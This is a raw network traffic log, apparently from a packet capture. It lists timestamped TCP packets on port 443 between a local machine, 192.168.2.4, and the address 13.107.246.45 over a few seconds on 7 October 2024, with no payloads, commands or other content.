Oct 7, 2024 03:22:58.397809982 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.397892952 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.398016930 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.398053885 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.400994062 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.401047945 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.401122093 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.401130915 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.401175976 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.401246071 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.401246071 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.401278019 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.401283026 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.403423071 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.403490067 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.403572083 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.403693914 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.403731108 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.415699959 CEST	443	49739	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.415836096 CEST	443	49739	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.415894032 CEST	49739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.416069031 CEST	49739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.416069031 CEST	49739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.416089058 CEST	443	49739	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.416100979 CEST	443	49739	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.418076992 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.418101072 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.418184996 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.418304920 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.418330908 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.429517031 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.429569006 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.429629087 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.429650068 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.429712057 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.429718971 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.429775000 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.429809093 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.429835081 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.429857969 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.429871082 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.431921959 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.431950092 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.432027102 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.432158947 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.432185888 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.040546894 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.041126013 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.041172028 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.041589022 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.041604042 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.043622017 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.043946028 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.043992996 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.044291019 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.044305086 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.059214115 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.059756994 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.059772968 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.060025930 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.060036898 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.068635941 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.069468975 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.069530010 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.069602013 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.069617987 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.070456982 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.070837021 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.070853949 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.071082115 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.071094036 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.140321016 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.140451908 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.140947104 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.141035080 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.141035080 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.141077995 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.141105890 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.141629934 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.141805887 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.141932964 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.142164946 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.142164946 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.142214060 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.142244101 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.144308090 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.144339085 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.144440889 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.144555092 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.144567013 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.144575119 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.144646883 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.144721031 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.144891024 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.144927025 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.158806086 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.158865929 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.159065962 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.159147024 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.159190893 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.159224033 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.159240961 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.161617994 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.161704063 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.161799908 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.161973000 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.162009954 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.167092085 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.167231083 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.167323112 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.167424917 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.167424917 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.167468071 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.167495012 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.169574976 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.169584990 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.169672966 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.169847012 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.169857979 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.173429012 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.173574924 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.173655987 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.173852921 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.173852921 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.173868895 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.173888922 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.176286936 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.176322937 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.176491022 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.176659107 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.176673889 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.795568943 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.798854113 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.798928976 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.799230099 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.799243927 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.807481050 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.810913086 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.810928106 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.811475992 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.811486959 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.821047068 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.823198080 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.823210001 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.823741913 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.823745966 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.850558996 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.851046085 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.851052999 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.851401091 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.851404905 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.855832100 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.858992100 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.859004021 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.859572887 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.859577894 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.896126032 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.896267891 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.896362066 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.902144909 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.902179956 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.905589104 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.905657053 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.905823946 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.906054020 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.906090021 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.906843901 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.906985998 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.907052994 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.907090902 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.907090902 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.907109976 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.907130003 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.909636974 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.909661055 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.909739017 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.909950972 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.909974098 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.923511982 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.923666000 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.923752069 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.923835993 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.923835993 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.923846960 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.923855066 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.926394939 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.926443100 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.926582098 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.926693916 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.926712990 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.954629898 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.954782963 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.954931021 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.954931021 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.954931021 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.957329035 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.957376003 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.957570076 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.957704067 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.957715988 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.960594893 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.960737944 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.960798025 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.960876942 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.960887909 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.963023901 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.963054895 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:59.963277102 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.963376999 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:59.963392019 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.173219919 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.173240900 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.547513008 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.548401117 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.548460007 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.549046993 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.549062014 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.576118946 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.576642990 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.576658010 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.577223063 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.577227116 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.585406065 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.585977077 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.586036921 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.586426973 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.586445093 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.593939066 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.597645044 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.597677946 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.598222017 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.598228931 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.602144957 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.602556944 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.602575064 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.603106022 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.603111029 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.646492004 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.646642923 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.646725893 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.646897078 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.646943092 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.646974087 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.646990061 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.650768995 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.650799036 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.650892019 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.651092052 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.651104927 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.675503016 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.675585985 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.675643921 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.675831079 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.675853014 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.675870895 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.675877094 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.678318024 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.678378105 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.678458929 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.678637028 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.678653955 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.688728094 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.688879967 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.689044952 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.689045906 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.689045906 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.692115068 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.692128897 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.692220926 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.692367077 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.692380905 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.692615032 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.692756891 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.692819118 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.692853928 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.692869902 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.692886114 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.692893982 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.695209026 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.695219040 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.695300102 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.695422888 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.695431948 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.701478958 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.701632977 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.701775074 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.701775074 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.701775074 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.704051971 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.704073906 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.704160929 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.704289913 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.704303026 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:00.907717943 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:00.907779932 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.001363993 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.001394987 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.324878931 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.326510906 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.326539040 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.327090979 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.327096939 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.333642006 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.334532022 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.334561110 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.335187912 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.335196018 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.355849981 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.355865955 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.356353045 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.356380939 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.356949091 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.356956005 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.358012915 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.358020067 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.358546972 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.358553886 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.359638929 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.360121965 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.360142946 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.360656023 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.360661983 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.426825047 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.427035093 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.430905104 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.430944920 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.430964947 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.430979967 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.430986881 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.432488918 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.432646990 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.432725906 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.433914900 CEST	49763	443	192.168.2.4	13.107.246.45
